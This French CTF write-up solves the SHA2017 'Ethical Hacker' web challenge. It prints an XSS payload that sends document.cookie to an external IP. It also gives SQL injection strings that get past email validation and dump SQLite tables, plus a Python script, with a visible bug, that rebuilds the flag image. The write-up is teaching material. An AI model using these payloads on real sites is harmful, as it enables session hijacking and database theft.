/ web

SHA2017 CTF - Ethical Hacker (Web 200)

Description : Are you a worthy ethical hacker? Join us on Ethical Hackers United.

En cliquant sur le lien on se retrouve sur un formulaire de login

On trouve alors rapidement une XSS, malgré que "En 1990 les XSS existait" cela n'a rien avoir avec le challenge.

</script><script>window.location="https://xxx.xxx.xxx.xxx?cookie="+document.cookie;</script>"@test.com'

Ce formulaire demande email / password ainsi qu'un code de sécurité envoyé en tant qu'image base64 ce qui pourrais rendre plus difficile l'utilisation d'outils automatique.

En tentant une injection sql simple dans le champ de login on obtient l'erreur suivante : 'test is not a valid email address according FILTER_VALIDATE_EMAIL

Après quelques essais on tente alors :

'or/**/1=1--@localhost.com

Le retour est plutôt satisfaisant : Couldn't login with password: test

On va donc essayer de retrouver des informations de la db :

'union/**/select/**/password/**/from/**/users--@localhost.com
> Couldn't login with password: test
'union/**/select/**/password/**/from/**/users--@localhost.com
> Couldn't login with password: test@test.com
'union/**/select/**/tbl_name/**/from/**/sqlite_master--@localhost.com
> Couldn't login with password: image
'union/**/select/**/sql/**/from/**/sqlite_master--@localhost.com
> Couldn't login with password: CREATE TABLE image (
  id INTEGER PRIMARY KEY ASC,
  line int(11) NOT NULL,
  base64 varchar(16) NOT NULL
)

Après beaucoup de temps à essayer de récupérer d'autres nom de table en utilisant limit 1,1 ou limit 1 offset 1 il a fallu se reconcentrer sur ce qu'on avait.

Regardons la table image pour essayer de récupérer le contenu.

'union/**/select/**/base64/**/from/**/image--@localhost.com
> Couldn't login with password: ++004UbTaJ5NM6tF
'union/**/select/**/base64/**/from/**/image/**/where/**/id=1--@localhost.com
> Couldn't login with password: 7RTSGl9v907CzSdo
'union/**/select/**/base64/**/from/**/image/**/where/**/id=2--@localhost.com
> Couldn't login with password: W+OTqx5JlGWm

Il semblerait que nous ayons plusieurs base64
On tente alors un group_concat() mais qui va être empéché par la fonction FILTER_VALIDATE_EMAIL. Après quelques recherches sur internet on découvre que beaucoup de caractères peuvent être utilisé à conditions d'être entre guillemets, une liste plutôt complète ici

On peut alors utiliser group_concat(table,separateur)

"'union/**/select/**/group_concat(base64,'~')/**/from/**/image--"@gmail.com
"'union/**/select/**/group_concat(line,'~')/**/from/**/image--"@gmail.com

On obtient alors 14768 morceaux de base64 qu'il faudra remettre dans l'ordre puis écrire dans un fichier.

Pour cela :


line = [3064,14140,...]
base = ["7RTSGl9v907CzSdo","W+OTqx5JlGWm",....]
base64 = {}
#Rangement dans un dictionnaire des paires ligne et base64
for i in range(len(list1)):
    base64[line[i]] = base[i]

a=""
for i in range(1, len(line)+1):
	a+=base64[i]
print a

file = open('flag','wb')
file.write(a.decode('base64'))

On obtient alors l'image
alt